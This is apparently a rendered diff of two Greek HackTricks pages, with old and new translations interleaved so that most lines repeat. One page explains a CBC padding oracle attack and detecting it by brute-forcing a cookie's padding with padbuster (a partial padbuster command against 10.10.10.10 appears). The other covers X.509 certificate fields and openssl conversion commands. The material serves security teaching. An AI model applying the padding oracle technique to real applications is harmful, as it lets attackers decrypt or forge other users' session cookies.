Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\
Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -92,41 +85,42 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4`
* ...
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, που θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτήν την περίπτωση: `\x01 = I15 ^ E'7`
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7`
Έτσι, βρίσκοντας το `E'7`, είναι δυνατόν να υπολογιστεί το `I15`: `I15 = 0x01 ^ E'7`
Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7`
Αυτό μας επιτρέπει να υπολογίσουμε το `C15`: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Το οποίο μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Γνωρίζοντας το `C15`, τώρα είναι δυνατόν να υπολογίσουμε το `C14`, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσουμε το C14, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
Αυτό το BF είναι εξίσου πολύπλοκο με το προηγούμενο, καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15`, οπότε απλά χρειάζεται να βρεθεί το `E'14` που δημιουργεί ένα `C14` ίσο με `0x02`.\
Στη συνέχεια, εκτελούνται τα ίδια βήματα για να αποκρυπτογραφηθεί το C14: `C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\
Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Ακολουθήστε αυτήν την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
### Ανίχνευση της ευπάθειας
Καταχωρήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\
Εάν συνδεθείτε πολλές φορές και πάντα λαμβάνετε τον **ίδιο cookie**, πιθανώς υπάρχει κάτι **λάθος** στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανώς θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
Εγγραφείτε και συνδεθείτε με αυτόν τον λογαριασμό.\
Αν συνδεθείτε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
Τώρα, εάν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\
Αλλά εάν κάνετε brute-force το padding (χρησιμοποιώντας για παράδειγμα το padbuster), καταφέρνετε να λάβετε ένα άλλο έγκυρο cookie για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πιθανόν να είναι ευπάθεια στο padbuster.
Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\
Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster.
### Αναφορές
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Πιστοποιητικά
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Τι είναι ένα Πιστοποιητικό
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τα στοιχεία του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (ο εκδότης). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε ένα σύστημα [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι το [X.509](https://en.wikipedia.org/wiki/X.509), το οποίο μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε μια ρύθμιση [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι το [X.509](https://en.wikipedia.org/wiki/X.509), το οποίο μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280.
## Κοινά Πεδία x509
### **Κοινά Πεδία στα Πιστοποιητικά x509**
### **Κοινά Πεδία σε Πιστοποιητικά x509**
Στα πιστοποιητικά x509, διάφορα **πεδία** παίζουν κρίσιμο ρόλο για τη διασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμο ρόλο στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων:
* Ο **Αριθμός Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
* Ο **Σειριακός Αριθμός** ταυτοποιεί μοναδικά το πιστοποιητικό εντός του συστήματος μιας Αρχής Πιστοποίησης (CA), κυρίως για την παρακολούθηση ανάκλησης.
* Το πεδίο **Θέμα** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς ταυτοποιήσεις όπως:
* Ο **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης.
* Το πεδίο **Υποκείμενο** αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως:
* **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργανισμός (O)**, και **Μονάδα Οργάνωσης (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
* Το **Διακεκριμένο Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
* Ο **Εκδότης** λεπτομερείς ποιος επικύρωσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την ΑΠ.
* Η **Περίοδος Εγκυρότητας** σημειώνεται από τις χρονικές σφραγίδες **Μην Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, καθορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
* Οι επεκτάσεις **x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, καθορίζοντας τις **Χρήσεις Κλειδιού**, τις **Επεκταμένες Χρήσεις Κλειδιού**, τα **Εναλλακτικά Ονόματα Θέματος**, και άλλες ιδιότητες για να ρυθμίσουν την εφαρμογή του πιστοποιητικού.
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)** και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
* Το **Διακριτό Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου.
* Ο **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA.
* Η **Περίοδος Ικανότητας** σημειώνεται με τις χρονικές σφραγίδες **Not Before** και **Not After**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
* Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας τη **Χρήση Κλειδιού**, τη **Εκτεταμένη Χρήση Κλειδιού**, το **Εναλλακτικό Όνομα Υποκειμένου** και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού.
#### **Χρήση Κλειδιού και Επεκτάσεις**
* Η **Χρήση Κλειδιού** αναγνωρίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως η ψηφιακή υπογραφή ή η κρυπτογράφηση κλειδιού.
* Η **Επεκταμένη Χρήση Κλειδιού** στενεύει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ. για την επαλήθευση του διακομιστή TLS.
* Το **Εναλλακτικό Όνομα Θέματος** και η **Βασική Περιοριστική Συνθήκη** καθορίζουν επιπλέον ονόματα υποδομών που καλύπτονται από το πιστοποιητικό και εάν είναι πιστοποιητικό CA ή οντότητας τέλους, αντίστοιχα.
* Οι αναγνωριστές όπως το **Αναγνωριστικό Κλειδιού Θέματος** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν τη μοναδικότητα και την εντοπισιμότητα των κλειδιών.
* Τα **Στοιχεία Πρόσβασης Αρχής** και τα **Σημεία Διανομής Καταλόγου Ανάκλησης** παρέχουν διαδρομές για την επαλήθευση της εκδίδουσας ΑΠ και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
* Τα **CT Precertificate SCTs** προσφέρουν διαφανείς καταγραφές, ουσιώδεις για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
* Η **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού.
* Η **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS.
* Το **Εναλλακτικό Όνομα Υποκειμένου** και ο **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα.
* Αναγνωριστικά όπως το **Αναγνωριστικό Κλειδιού Υποκειμένου** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών.
* Η **Πρόσβαση Πληροφοριών Αρχής** και τα **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
* Οι **SCTs Προπιστοποιητικού CT** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -74,25 +75,27 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Διαφορά μεταξύ σημείων διανομής OCSP και CRL**
### **Διαφορά μεταξύ OCSP και CRL Distribution Points**
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίνοντα που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς την ανάγκη να ληφθεί ολόκληρο το **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειριακής ανάκλησης πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRL μπορούν να περιλαμβάνουν έως και 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά εξασφαλίζοντας ότι η έκδοση και η ύπαρξη πιστοποιητικών SSL είναι ορατές στους ιδιοκτήτες τομέα, τις Αρχές Πιστοποίησης και τους χρήστες. Οι στόχοι της είναι:
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με τα πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη των SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι:
* Αποτροπή των Αρχών Πιστοποίησης από το να εκδίδουν πιστοποιητικά SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Δημιουργία ενός ανοιχτού συστήματος ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
* Προστασία των χρηστών από απάτες με πιστοποιητικά.
* Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
* Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα.
* Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά.
#### **Καταγραφές Πιστοποιητικών**
Οι καταγραφές πιστοποιητικών είναι δημόσια ελέγξιμες, αναπτυσσόμενες μόνο προς τα εμπρός εγγραφές πιστοποιητικών, διατηρούμενες από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για λόγους ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τις ερευνούν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότεροι από χίλιους παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από Αρχές Πιστοποίησης, παρόχους υπηρεσιών Internet ή οποιοδήποτε ενδιαφερόμενο φορέα.
Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα.
#### **Ερώτημα**
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιοδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh).
Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους.
## **Μορφές**
@ -100,43 +103,49 @@ print(f"Public Key: {public_key}")
* Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
* Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
* Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
* Χρησιμοποιείται κυρίως από διακομιστές Apache και παρόμοιους.
* Κοινές επεκτάσεις: .cer, .crt, .pem, .key.
* Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές.
### **Μορφή DER**
* Μια δυαδική μορφή πιστοποιητικών.
* Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
* Συνηθισμένες επεκτάσεις: .cer, .der.
* Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM.
* Κοινές επεκτάσεις: .cer, .der.
* Συχνά χρησιμοποιείται με πλατφόρμες Java.
### **Μορφή P7B/PKCS#7**
* Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
* Περιλαμβάνει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
* Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
* Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
* Υποστηρίζεται από Microsoft Windows και Java Tomcat.
### **Μορφή PFX/P12/PKCS#12**
* Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
* Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
* Επεκτάσεις: .pfx, .p12.
* Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
### **Μετατροπή Μορφών**
**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα:
* **x509 σε PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **Μετατροπή από PEM σε DER**
* **PEM σε DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
* **Μετατροπή από DER σε PEM**
* **DER σε PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
* **Μετατροπή από PEM σε P7B**
* **PEM σε P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
* **Μετατροπή από PKCS7 σε PEM**
* **PKCS7 σε PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
@ -151,39 +160,40 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Μετατροπή από PEM σε PKCS8
2. Μετατροπή PEM σε PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
* **Από P7B σε PFX** απαιτεί επίσης δύο εντολές:
1. Μετατροπή από P7B σε CER
* **P7B σε PFX** απαιτεί επίσης δύο εντολές:
1. Μετατροπή P7B σε CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Μετατροπή αρχείου CER και Ιδιωτικού Κλειδιού σε PFX
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
